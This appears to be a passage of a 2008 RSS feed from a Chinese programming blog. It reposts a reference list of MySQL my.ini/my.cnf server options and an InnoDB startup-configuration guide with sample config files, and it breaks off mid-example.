﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-金家寶-随笔分类-Mysql</title><link>http://www.blogjava.net/jiabao/category/30763.html</link><description>機會只會給垂青有准備的人，運氣不是每個人都有的.</description><language>zh-cn</language><lastBuildDate>Fri, 18 Apr 2008 02:22:06 GMT</lastBuildDate><pubDate>Fri, 18 Apr 2008 02:22:06 GMT</pubDate><ttl>60</ttl><item><title>转 MYSQL中的my.ini或my.cnf配置说明</title><link>http://www.blogjava.net/jiabao/archive/2008/04/17/193744.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Thu, 17 Apr 2008 06:05:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/17/193744.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/193744.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/17/193744.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/193744.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/193744.html</trackback:ping><description><![CDATA[
		<div class="date"> </div>
		<table style="TABLE-LAYOUT: fixed">
				<tbody>
						<tr>
								<td>
										<div class="cnt" id="blog_text">
												<p>
														<span style="FONT-SIZE: 10pt">
																<font color="#800080">本文中的配置都是从《MySQL5权威指南(3rd)》中摘抄出来的，个人认为对于使用MySQL十分有用。放在此处方便自己随时查阅，也希望对其他朋友有所助益。(2007.05.30最后更新)<br /><br />mysqld程序--目录和文件<br />basedir = path 使用给定目录作为根目录(安装目录)。<br />character-sets-dir = path 给出存放着字符集的目录。<br />datadir = path 从给定目录读取数据库文件。<br />pid-file = filename 为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。<br /><strong>socket = filename 为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于UNIX/Linux系统; 默认设置一般是/var/lib/mysql/mysql.sock文件)。</strong><br />    在Windows环境下，如果MySQL客户与服务器是通过命名管道进行通信的，--sock选项给出的将是该命名管道的名字(默认设置是MySQL)。<br />lower_case_table_name = 1/0 新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。<br /><br />mysqld程序--语言设置<br />character-sets-server = name 新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容，这个字符集也可以用--default-character-set选项给出; 但这个选项已经显得有点过时了。<br />collation-server = name 新数据库或数据表的默认排序方式。<br />lanuage = name 用指定的语言显示出错信息。<br /><br />mysqld程序--通信、网络、信息安全<br />enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL，但可以用--socket选项来改变。<br />local-infile [=0] 允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。<br />myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchk程序的同名选项作用相同。<br />old-passwords 使用MySQL 3.23和4.0版本中的老算法来加密mysql数据库里的密码(默认使用MySQL 4.1版本开始引入的新加密算法)。<br />port = n 为MySQL程序指定一个TCP/IP通信端口(通常是3306端口)。<br />safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用户才能使用GRANT命令; 这是一种双保险机制(此用户还必须具备GRANT权限才能执行GRANT命令)。<br />shared-memory 允许使用内存(shared memory)进行通信(仅适用于Windows)。<br />shared-memory-base-name = name 给共享内存块起一个名字(默认的名字是MySQL)。<br />skip-grant-tables 不使用mysql数据库里的信息来进行访问控制(警告:这将允许用户任何用户去修改任何数据库)。<br />skip-host-cache 不使用高速缓存区来存放主机名和IP地址的对应关系。<br />skip-name-resovle 不把IP地址解析为主机名; 与访问控制(mysql.user数据表)有关的检查全部通过IP地址行进。<br />skip-networking 只允许通过一个套接字文件(Unix/Linux系统)或通过命名管道(Windows系统)进行本地连接，不允许ICP/IP连接; 这提高了安全性，但阻断了来自网络的外部连接和所有的Java客户程序(Java客户即使在本地连接里也使用TCP/IP)。<br />user = name mysqld程序在启动后将在给定UNIX/Linux账户下执行; mysqld必须从root账户启动才能在启动后切换到另一个账户下执行; mysqld_safe脚本将默认使用--user=mysql选项来启动mysqld程序。<br /><br />mysqld程序--内存管理、优化、查询缓存区<br />bulk_insert_buffer_size = n 为一次插入多条新记录的INSERT命令分配的缓存区长度(默认设置是8M)。<br />key_buffer_size = n 用来存放索引区块的RMA值(默认设置是8M)。<br />join_buffer_size = n 在参加JOIN操作的数据列没有索引时为JOIN操作分配的缓存区长度(默认设置是128K)。<br />max_heap_table_size = n HEAP数据表的最大长度(默认设置是16M); 超过这个长度的HEAP数据表将被存入一个临时文件而不是驻留在内存里。<br />max_connections = n MySQL服务器同时处理的数据库连接的最大数量(默认设置是100)。<br />query_cache_limit = n 允许临时存放在查询缓存区里的查询结果的最大长度(默认设置是1M)。<br />query_cache_size = n 查询缓存区的最大长度(默认设置是0，不开辟查询缓存区)。<br />query_cache_type = 0/1/2 查询缓存区的工作模式:0, 禁用查询缓存区; 1，启用查询缓存区(默认设置); 2，"按需分配"模式，只响应SELECT SQL_CACHE命令。<br />read_buffer_size = n 为从数据表顺序读取数据的读操作保留的缓存区的长度(默认设置是128KB); 这个选项的设置值在必要时可以用SQL命令SET SESSION read_buffer_size = n命令加以改变。<br />read_rnd_buffer_size = n 类似于read_buffer_size选项，但针对的是按某种特定顺序(比如使用了ORDER BY子句的查询)输出的查询结果(默认设置是256K)。<br />sore_buffer = n 为排序操作分配的缓存区的长度(默认设置是2M); 如果这个缓存区太小，则必须创建一个临时文件来进行排序。<br />table_cache = n 同时打开的数据表的数量(默认设置是64)。<br />tmp_table_size = n 临时HEAP数据表的最大长度(默认设置是32M); 超过这个长度的临时数据表将被转换为MyISAM数据表并存入一个临时文件。<br /><br />mysqld程序--日志<br />log [= file] 把所有的连接以及所有的SQL命令记入日志(通用查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname.log文件作为这种日志文件(hostname是服务器的主机名)。<br />log-slow-queries [= file] 把执行用时超过long_query_time变量值的查询命令记入日志(慢查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname-slow.log文件作为这种日志文件(hostname是服务器主机名)。<br />long_query_time = n 慢查询的执行用时上限(默认设置是10s)。<br />long_queries_not_using_indexs 把慢查询以及执行时没有使用索引的查询命令全都记入日志(其余同--log-slow-queries选项)。<br />log-bin [= filename] 把对数据进行修改的所有SQL命令(也就是INSERT、UPDATE和DELETE命令)以二进制格式记入日志(二进制变更日志，binary update log)。这种日志的文件名是filename.n或默认的hostname.n，其中n是一个6位数字的整数(日志文件按顺序编号)。<br />log-bin-index = filename 二进制日志功能的索引文件名。在默认情况下，这个索引文件与二进制日志文件的名字相同，但后缀名是.index而不是.nnnnnn。<br />max_binlog_size = n 二进制日志文件的最大长度(默认设置是1GB)。在前一个二进制日志文件里的信息量超过这个最大长度之前，MySQL服务器会自动提供一个新的二进制日志文件接续上。<br />binlog-do-db = dbname 只把给定数据库里的变化情况记入二进制日志文件，其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况，就必须在配置文件使用多个本选项来设置，每个数据库一行。<br />binlog-ignore-db = dbname 不把给定数据库里的变化情况记入二进制日志文件。<br />sync_binlog = n 每经过n次日志写操作就把日志文件写入硬盘一次(对日志信息进行一次同步)。n=1是最安全的做法，但效率最低。默认设置是n=0，意思是由操作系统来负责二进制日志文件的同步工作。<br />log-update [= file] 记载出错情况的日志文件名(出错日志)。这种日志功能无法禁用。如果没有给出file参数，MySQL会使用hostname.err作为种日志文件的名字。<br /><br />mysqld程序--镜像(主控镜像服务器)<br />server-id = n 给服务器分配一个独一无二的ID编号; n的取值范围是1~2的32次方启用二进制日志功能。<br />log-bin = name 启用二进制日志功能。这种日志的文件名是filename.n或默认的hostname.n，其中的n是一个6位数字的整数(日志文件顺序编号)。<br />binlog-do/ignore-db = dbname 只把给定数据库里的变化情况记入二进制日志文件/不把给定的数据库里的变化记入二进制日志文件。<br /><br />mysqld程序--镜像(从属镜像服务器)<br />server-id = n 给服务器分配一个唯一的ID编号<br />log-slave-updates 启用从属服务器上的日志功能，使这台计算机可以用来构成一个镜像链(A-&gt;B-&gt;C)。<br />master-host = hostname 主控服务器的主机名或IP地址。如果从属服务器上存在mater.info文件(镜像关系定义文件)，它将忽略此选项。<br />master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认设置是3306端口)。<br />master-connect-retry = n 如果与主控服务器的连接没有成功，则等待n秒(s)后再进行管理方式(默认设置是60s)。如果从属服务器存在mater.info文件，<br />    它将忽略此选项。<br />master-ssl-xxx = xxx 对主、从服务器之间的SSL通信进行配置。<br />read-only = 0/1 0: 允许从属服务器独立地执行SQL命令(默认设置); 1: 从属服务器只能执行来自主控服务器的SQL命令。<br />read-log-purge = 0/1 1: 把处理完的SQL命令立刻从中继日志文件里删除(默认设置); 0: 不把处理完的SQL命令立刻从中继日志文件里删除。<br />replicate-do-table = dbname.tablename 与--replicate-do-table选项的含义和用法相同，但数据库和数据库表名字里允许出现通配符"%"<br />    (例如: test%.%--对名字以"test"开头的所有数据库里的所以数据库表进行镜像处理)。<br />replicate-do-db = name 只对这个数据库进行镜像处理。<br />replicate-ignore-table = dbname.tablename 不对这个数据表进行镜像处理。<br />replicate-wild-ignore-table = dbn.tablen 不对这些数据表进行镜像处理。<br />replicate-ignore-db = dbname 不对这个数据库进行镜像处理。<br />replicate-rewrite-db = db1name &gt; db2name 把主控数据库上的db1name数据库镜像处理为从属服务器上的db2name数据库。<br />report-host = hostname 从属服务器的主机名; 这项信息只与SHOW SLAVE HOSTS命令有关--主控服务器可以用这条命令生成一份从属服务器的名单。<br />slave-compressed-protocol = 1 主、从服务器使用压缩格式进行通信--如果它们都支持这么做的话。<br />slave-skip-errors = n1, n2, ...或all 即使发生出错代码为n1、n2等的错误，镜像处理工作也继续进行(即不管发生什么错误，镜像处理工作也继续进行)。<br />    如果配置得当，从属服务器不应该在执行SQL命令时发生错误(在主控服务器上执行出错的SQL命令不会被发送到从属服务器上做镜像处理); 如果不使用<br />    slave-skip-errors选项，从属服务器上的镜像工作就可能国为发生错误而中断，中断后需要有人工参与才能继续进行。<br /><br />mysqld--InnoDB--基本设置、表空间文件<br />skip-innodb 不加载InnoDB数据表驱动程序--如果用不着InnoDB数据表，可以用这个选项节省一些内存。<br />innodb-file-per-table 为每一个新数据表创建一个表空间文件而不是把数据表都集中保存在中央表空间里(后者是默认设置)。该选项始见于MySQL 4.1。<br />innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认设置是300)。如果使用了innodb-file-per-table选项并且需要同时打开很多<br />    数据表的话，这个数字很可能需要加大。<br />innodb_data_home_dir = p InnoDB主目录，所有与InnoDB数据表有关的目录或文件路径都相对于这个路径。在默认的情况下，这个主目录就是MySQL的数据目录。<br />innodb_data_file_path = ts 用来容纳InnoDB为数据表的表空间: 可能涉及一个以上的文件; 每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或<br />    千兆字节(GB)为单位给出; 表空间文件的名字必须以分号隔开; 最后一个表空间文件还可以带一个autoextend属性和一个最大长度(max:n)。<br />    例如，ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GB，ibdata2的最大长度也是1G，但允许它扩充到2GB。<br />    除文件名外，还可以用硬盘分区的设置名来定义表空间，此时必须给表空间的最大初始长度值加上newraw关键字做后缀，给表空间的最大扩充长度值加上<br />    raw关键字做后缀(例如/dev/hdb1:20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。<br />innodb_autoextend_increment = n 带有autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB)。这个属性不涉及具体的数据表文件，那些文件的<br />    增大速度相对是比较小的。<br />innodb_lock_wait_timeout = n 如果某个事务在等待n秒(s)后还没有获得所需要的资源，就使用ROLLBACK命令放弃这个事务。这项设置对于发现和处理未能被<br />    InnoDB数据表驱动程序识别出来的死锁条件有着重要的意义。这个选项的默认设置是50s。<br />innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDB，默认设置是1，意思是不把缓存在INSERT缓存区的数据写入数据表，那些数据将在MySQL服务器下次<br />    启动时再写入(这么做没有什么风险，因为INSERT缓存区是表空间的一个组成部分，数据不会丢失)。把这个选项设置为0反面危险，因为在计算机关闭时，<br />    InnoDB驱动程序很可能没有足够的时间完成它的数据同步工作，操作系统也许会在它完成数据同步工作之前强行结束InnoDB，而这会导致数据不完整。<br /><br />mysqld程序--InnoDB--日志<br />innodb_log_group_home_dir = p 用来存放InnoDB日志文件的目录路径(如ib_logfile0、ib_logfile1等)。在默认的情况下，InnoDB驱动程序将使用MySQL数据目<br />    录作为自己保存日志文件的位置。    <br />innodb_log_files_in_group = n 使用多少个日志文件(默认设置是2)。InnoDB数据表驱动程序将以轮转方式依次填写这些文件; 当所有的日志文件都写满以后，<br />    之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。这个长度必须以MB(兆字节)或GB(千兆字节)为单位进行设置。<br />innodb_flush_log_at_trx_commit = 0/1/2 这个选项决定着什么时候把日志信息写入日志文件以及什么时候把这些文件物理地写(术语称为"同步")到硬盘上。<br />    设置值0的意思是每隔一秒写一次日志并进行同步，这可以减少硬盘写操作次数，但可能造成数据丢失; 设置值1(设置设置)的意思是在每执行完一条COMMIT<br />    命令就写一次日志并进行同步，这可以防止数据丢失，但硬盘写操作可能会很频繁; 设置值2是一般折衷的办法，即每执行完一条COMMIT命令写一次日志，<br />    每隔一秒进行一次同步。<br />innodb_flush_method = x InnoDB日志文件的同步办法(仅适用于UNIX/Linux系统)。这个选项的可取值有两种: fdatasync，用fsync()函数进行同步; O_DSYNC，<br />    用O_SYNC()函数进行同步。<br />innodb_log_archive = 1 启用InnoDB驱动程序的archive(档案)日志功能，把日志信息写入ib_arch_log_n文件。启用这种日志功能在InnoDB与MySQL一起使用时没有<br />    多大意义(启用MySQL服务器的二进制日志功能就足够用了)。<br /><br />mysqld程序--InnoDB--缓存区的设置和优化<br />innodb_log_buffer_pool_size = n 为InnoDB数据表及其索引而保留的RAM内存量(默认设置是8MB)。这个参数对速度有着相当大的影响，如果计算机上只运行有<br />    MySQL/InnoDB数据库服务器，就应该把全部内存的80%用于这个用途。<br />innodb_log_buffer_size = n 事务日志文件写操作缓存区的最大长度(默认设置是1MB)。<br />innodb_additional_men_pool_size = n 为用于内部管理的各种数据结构分配的缓存区最大长度(默认设置是1MB)。<br />innodb_file_io_threads = n I/O操作(硬盘写操作)的最大线程个数(默认设置是4)。<br />innodb_thread_concurrency = n InnoDB驱动程序能够同时使用的最大线程个数(默认设置是8)。<br /><br />mysqld程序--其它选项<br />bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址，这个选项将非常重要。<br />default-storage-engine = type 新数据表的默认数据表类型(默认设置是MyISAM)。这项设置还可以通过--default-table-type选项来设置。<br />default-timezone = name 为MySQL服务器设置一个地理时区(如果它与本地计算机的地理时区不一样)。<br />ft_min_word_len = n 全文索引的最小单词长度工。这个选项的默认设置是4，意思是在创建全文索引时不考虑那些由3个或更少的字符构建单词。<br />Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度，这个数字至少应该大于客户程序将要处理的最大BLOB块的长度。这个选项的默认设置是1MB。<br />Sql-mode = model1, mode2, ... MySQL将运行在哪一种SQL模式下。这个选项的作用是让MySQL与其他的数据库系统保持最大程度的兼容。这个选项的可取值包括<br />    ansi、db2、oracle、no_zero_date、pipes_as_concat。<br /><br />注意：如果在配置文件里给出的某个选项是mysqld无法识别的(如，因为犯了一个愚蠢的打字错误)，MySQL服务器将不启动。</font>
														</span>
												</p>
												<p>
														<span style="FONT-SIZE: 10pt">
																<font color="#800080">来源：</font>
																<a href="http://blog.chinaunix.net/u1/41728/showart_350147.html">
																		<font color="#800080">http://blog.chinaunix.net/u1/41728/showart_350147.html</font>
																</a>
														</span>
												</p>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/jiabao/aggbug/193744.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-17 14:05 <a href="http://www.blogjava.net/jiabao/archive/2008/04/17/193744.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>mysql data文件夹下的ibdata1 文件作用</title><link>http://www.blogjava.net/jiabao/archive/2008/04/17/193740.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Thu, 17 Apr 2008 05:56:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/17/193740.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/193740.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/17/193740.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/193740.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/193740.html</trackback:ping><description><![CDATA[
		<div class="tit"> </div>
		<table style="TABLE-LAYOUT: fixed">
				<tbody>
						<tr>
								<td>
										<div class="cnt" id="blog_text">这个文件超级大， 查了一下， 大概的作用如下<br /><br />是储存的格式<br />INNODB类型数据状态下，<br />ibdata用来储存文件的数据<br />而库名的文件夹里面的那些表文件只是结构而已<br /><br />由于mysql4.1默认试innodb，所以这个文件默认就存在了http://man.chinaunix.net/database/mysql/inonodb_zh/2.htm 这个链接试innodb的中文参考， innodb的东西可以在my.ini中设置<br /><br />innodo中文参考全文如下<br /><h3><font face="Verdana, Arial, Helvetica, sans-serif">InnoDB 启动选项</font></h3><p><font face="Verdana, Arial, Helvetica, sans-serif">为了在 MySQL-Max-3.23 中使用 InnoDB 表，你必须在配置文件<tt><font face="新宋体">‘my.cnf’</font></tt>或<tt><font face="新宋体">‘my.ini’</font></tt>（WINDOWS系统）中的 <code><font face="新宋体">[mysqld]</font></code> 区中详细指定配置参数。</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">作为最小设置，在 3.23 中你必须在 <code><font face="新宋体">innodb_data_file_path</font></code> 上指定数据文件名能及大小。如果在<tt><font face="新宋体">‘my.cnf’</font></tt>中没有指定<code><font face="新宋体">innodb_data_home_dir</font></code>，系统将在 MySQL 的 <code><font face="新宋体">datadir</font></code> 目录下创建数据文件。如果将<code><font face="新宋体"> innodb_data_home_dir</font></code> 设为一个空串，那可以在 <code><font face="新宋体">innodb_data_file_path</font></code> 中给定一个绝对路径。在 MySQL-4.0 中可以不设定 <code><font face="新宋体">innodb_data_file_path</font></code> ：MySQL-4.0 将默认地在 <code><font face="新宋体">datadir</font></code> 目录下建立一个 10 MB 大小自扩充(auto-extending)的文件<tt><font face="新宋体">‘ibdata1’</font></tt>(在MySQL-4.0.0 与 4.0.1 中数据文件的大小为 64 MB 并且是非自扩充的(not auto-extending))。</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">为了得到更好的性能你必须所示的例子明确地设定 InnoDB 启动参数。</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">从 3.23.50 版和 4.0.2 版开始，InnoDB 允许在 <code><font face="新宋体">innodb_data_file_path</font></code> 中设置的最一个数据文件描述为 <strong>auto-extending</strong>。 <code><font face="新宋体">innodb_data_file_path</font></code> 语法如下所示： </font></p><pre><font face="Verdana, Arial, Helvetica, sans-serif">pathtodatafile:sizespecification;pathtodatafile:sizespec;...<br /> ...;pathtodatafile:sizespec[:autoextend[:max:sizespecification]]<br /></font></pre><font face="Verdana, Arial, Helvetica, sans-serif">如果用 autoextend 选项描述最后一个数据文件，当 InnoDB 用尽所有表自由空间后将会自动扩充最后一个数据文件，每次增量为 8 MB。示例： </font><pre><font face="Verdana, Arial, Helvetica, sans-serif">innodb_data_home_dir =<br /> innodb_data_file_path = /ibdata/ibdata1:100M:autoextend<br /></font></pre><font face="Verdana, Arial, Helvetica, sans-serif">指定 InnoDB 只建立一个最初大小为 100 MB 并且当表空间被用尽时以 8MB 每块增加的数据文件。如果硬盘空间不足，可以再添加一个数据文件并将其放在其它的硬盘中。 举例来说：先检查硬盘空间的大小，设定<tt><font face="新宋体"> ibdata1 </font></tt>文件使它接近于硬盘空余空间大小并为 1024 * 1024 bytes (= 1 MB)的倍数， 将<tt><font face="新宋体"> ibdata1</font></tt> 明确地指定在<code><font face="新宋体"> innodb_data_file_path</font></code> 中。在此之后可以添加另一个数据文件： </font><pre><font face="Verdana, Arial, Helvetica, sans-serif">innodb_data_home_dir =<br /> innodb_data_file_path = /ibdata/ibdata1:988M;/disk2/ibdata2:50M:autoextend<br /></font></pre><font face="Verdana, Arial, Helvetica, sans-serif">注意：设定文件大小时一定要注意你的OS是否有最大文件尺寸为2GB的限制！InnoDB是不会注意你的OS文件尺寸限制的， 在一些文件系统中你可能要设定最大容量限制： </font><pre><font face="Verdana, Arial, Helvetica, sans-serif">innodb_data_home_dir =<br /> innodb_data_file_path = /ibdata/ibdata1:100M:autoextend:max:2000M<br /></font></pre><p><font face="Verdana, Arial, Helvetica, sans-serif">　</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif"><strong>一个简单的<tt><font face="新宋体"> my.cnf</font></tt> 例子。</strong> 假设你的计算机有 128 MB RAM 和一个硬盘。下面的例子是为了使用 InnoDB 而在 <tt><font face="新宋体">my.cnf</font></tt> 或 <tt><font face="新宋体">my.ini</font></tt> 文件中可能所作的一些配置。我们假设你运行的是 MySQL-Max-3.23.50 及以上版本，或 MySQL-4.0.2 及以上版本。</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">这个示例适合大部分不需要将 InnoDB 数据文件和日志文件放在几个盘上的 Unix 和 Windows 用户。这个例子在 MySQL 的<code><font face="新宋体">datadir</font></code> 目录(典型的为 <tt><font face="新宋体">/mysql/data</font></tt>)中创建一个自扩充(auto-extending)的数据文件<tt><font face="新宋体"> ibdata1</font></tt> 和两个 InnoDB 运行日志文件<tt><font face="新宋体">ib_logfile0</font></tt> 和<tt><font face="新宋体"> ib_logfile1</font></tt> 以及 <tt><font face="新宋体">ib_arch_log_0000000000</font></tt> 档案文件。</font></p><pre><font face="Verdana, Arial, Helvetica, sans-serif">[mysqld]<br /> #在这里加入其它 的 MySQL 服务器配置<br /> #...<br /> #                                        数据文件必须<br /> #                                        能够容下数据与索引<br /> #                                        确定有足够的<br /> #                                        磁盘空间<br /> innodb_data_file_path = ibdata1:10M:autoextend<br /> #                                        设置缓冲池的大小为<br /> #                                        你的主内存大小的<br /> #                                        50 - 80 %<br /> set-variable = innodb_buffer_pool_size=70M<br /> set-variable = innodb_additional_mem_pool_size=10M<br /> #                                        设置日志文件的大小约为<br /> #                                        缓冲池(buffer pool)<br /> #                                        大小的 25 %<br /> set-variable = innodb_log_file_size=20M<br /> set-variable = innodb_log_buffer_size=8M<br /> #                                        如果丢失最近几个事务影响<br /> #                                        不大的话可以设置<br /> #                                        .._flush_log_at_trx_commit = 0<br /> innodb_flush_log_at_trx_commit=1<br /></font></pre><p><font face="Verdana, Arial, Helvetica, sans-serif">InnoDB 不会自己建立目录，必须自己使用操作系统命令建立相应的目录。检查你的 MySQL 服务程序在 <code><font face="新宋体">datadir</font></code> 目录里<strong> 有足够的权限建立文件。</strong></font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">注意：在某些文件系统中 数据文件大小必须小于2G！ 所有运行日志文件的大小总和必须小于 2G 或 4G,这依赖于具体的 MySQL 系统版本。 数据文件的总和必须大于等于 10 MB.</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">当第一次建立 InnoDB 数据库时，建议最好以命令行方式启动 MySQL 服务。这样 InnoDB 数据库建立时的提示信息将在屏幕上显示，从而可以看到建立过程。 下面第 3 节所示就是 InnoDB 数据库建立时的屏幕显示。例如，在 Windows 下使用下列指令启动 <tt><font face="新宋体">mysqld-max.exe</font></tt> ： </font></p><pre><font face="Verdana, Arial, Helvetica, sans-serif">your-path-to-mysqld&gt;mysqld-max --console<br /></font></pre><p><font face="Verdana, Arial, Helvetica, sans-serif">　</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif"><strong>在 Windows 系统下 <tt><font face="新宋体">my.cnf</font></tt> 或 <tt><font face="新宋体">my.ini</font></tt> 放在哪里？</strong>规则如下 ： </font></p><ul><li><font face="Verdana, Arial, Helvetica, sans-serif">只能存在一个 <tt><font face="新宋体">my.cnf</font></tt> 或<tt><font face="新宋体"> my.ini</font></tt> 文件 </font></li><li><font face="Verdana, Arial, Helvetica, sans-serif"><tt><font face="新宋体">my.cnf</font></tt> 文件必须放在 <tt><font face="新宋体">C:</font></tt> 的根目录下 </font></li><li><font face="Verdana, Arial, Helvetica, sans-serif"><tt><font face="新宋体">my.ini</font></tt> 文件必须放在 WINDIR 目录下，例：<tt><font face="新宋体">C:\WINDOWS</font></tt> 或 <tt><font face="新宋体">C:\WINNT</font></tt>。可以使用 MS-DOS 的<code><font face="新宋体"> SET</font></code> 命令查看 WINDIR 目录值 </font></li><li><font face="Verdana, Arial, Helvetica, sans-serif">如果你的 PC 使用启动引导程序引导系统而 <tt><font face="新宋体">C:</font></tt> 不是启动磁盘，那只能唯一地使用 <tt><font face="新宋体">my.ini</font></tt> 作为设置文件 </font></li></ul><p><font face="Verdana, Arial, Helvetica, sans-serif">　</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif"><strong>Unix 下在哪里指定配置文件？</strong>在 Unix 下 <tt><font face="新宋体">mysqld</font></tt> 按下列顺序搜索配置文件： </font></p><ul><li><font face="Verdana, Arial, Helvetica, sans-serif"><tt><font face="新宋体">/etc/my.cnf</font></tt> 全局选项 </font></li><li><font face="Verdana, Arial, Helvetica, sans-serif"><tt><font face="新宋体">COMPILATION_DATADIR/my.cnf</font></tt> 服务器范围的选项 </font></li><li><font face="Verdana, Arial, Helvetica, sans-serif"><tt><font face="新宋体">defaults-extra-file</font></tt> 采用<code><font face="新宋体"> --defaults-extra-file=...</font></code>. 设置的默认文件 </font></li><li><font face="Verdana, Arial, Helvetica, sans-serif"><tt><font face="新宋体">~/.my.cnf</font></tt> 用户指定文件</font></li></ul><font face="Verdana, Arial, Helvetica, sans-serif"><tt><font face="新宋体">COMPILATION_DATADIR</font></tt> 是 MySQL 的数据文件目录，它是在 <tt><font face="新宋体">mysqld</font></tt> 被编译时以<code><font face="新宋体"> ./configure</font></code> 设置指定 (典型的是 <tt><font face="新宋体">/usr/local/mysql/data</font></tt> 二进制安装或 <tt><font face="新宋体">/usr/local/var</font></tt> 以源安装)。 </font><p><font face="Verdana, Arial, Helvetica, sans-serif">　</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">如果不有确定 <tt><font face="新宋体">mysqld</font></tt> 从哪里读取 <tt><font face="新宋体">my.cnf</font></tt> 或 <tt><font face="新宋体">my.ini</font></tt>，可以在第一命令行上详细指定它的目录：<code><font face="新宋体">mysqld --defaults-file=your_path_to_my_cnf</font></code>。</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">InnoDB 的数据文件目录是对 <code><font face="新宋体">innodb_data_home_dir</font></code> 与 <code><font face="新宋体">innodb_data_file_path </font></code>的数据文件名或目录联合 ，如果需要将在它们之间增加一个“/”或“\”。如果关键字 <code><font face="新宋体">innodb_data_home_dir</font></code> 没有在 <tt><font face="新宋体">my.cnf</font></tt> 中明确指定，它的默认值为“.”，即目录“./”，这意味着 MySQL 的 <code><font face="新宋体">datadir</font></code> of MySQL.</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif"><strong>一个高级的 <tt><font face="新宋体">my.cnf</font></tt> 示例。</strong>假设你有一台 2 GB RAM 和3个 60 GB 硬盘(路径分别为 <tt><font face="新宋体">"/"</font></tt>, <tt><font face="新宋体">"/dr2"</font></tt> 和 <tt><font face="新宋体">“/dr3”</font></tt>)装有 Linux。下面的例子是为了使用 InnoDB 而在 <tt><font face="新宋体">my.cnf</font></tt> 文件中可能所作的一些配置。</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">注意：<strong>InnoDB 不会自己创建文件目录：你必须自己创建它们。</strong>使用 Unix 或 MS-DOS <code><font face="新宋体">mkdir</font></code> 命令建立相应的数据与日志文件目录。</font></p><pre><font face="Verdana, Arial, Helvetica, sans-serif">[mysqld]<br /> #在这里加入其它 的 MySQL 服务器配置<br /> #...<br /> #                                        如果不使用InnoDB表将一列一行注释去除<br /> #                                        skip-innodb<br /> #<br /> #                                        数据文件必须<br /> #                                        能够容下数据与索引<br /> #                                        确定有足够的<br /> #                                        磁盘空间<br /> innodb_data_file_path = /ibdata/ibdata1:2000M;/dr2/ibdata/ibdata2:2000M:autoextend<br /> #                                        设置缓冲池的大小为<br /> #                                        你的主内存大小的<br /> #                                        50 - 80 %，但是<br /> #                                        在 Linux x86 总内存<br /> #                                        使用必须小于 2 GB<br /> set-variable = innodb_buffer_pool_size=1G<br /> set-variable = innodb_additional_mem_pool_size=20M<br /> innodb_log_group_home_dir = /dr3/iblogs<br /> #                                        .._log_arch_dir 必须和<br /> #                                        .._log_group_home_dir一样；<br /> #      从 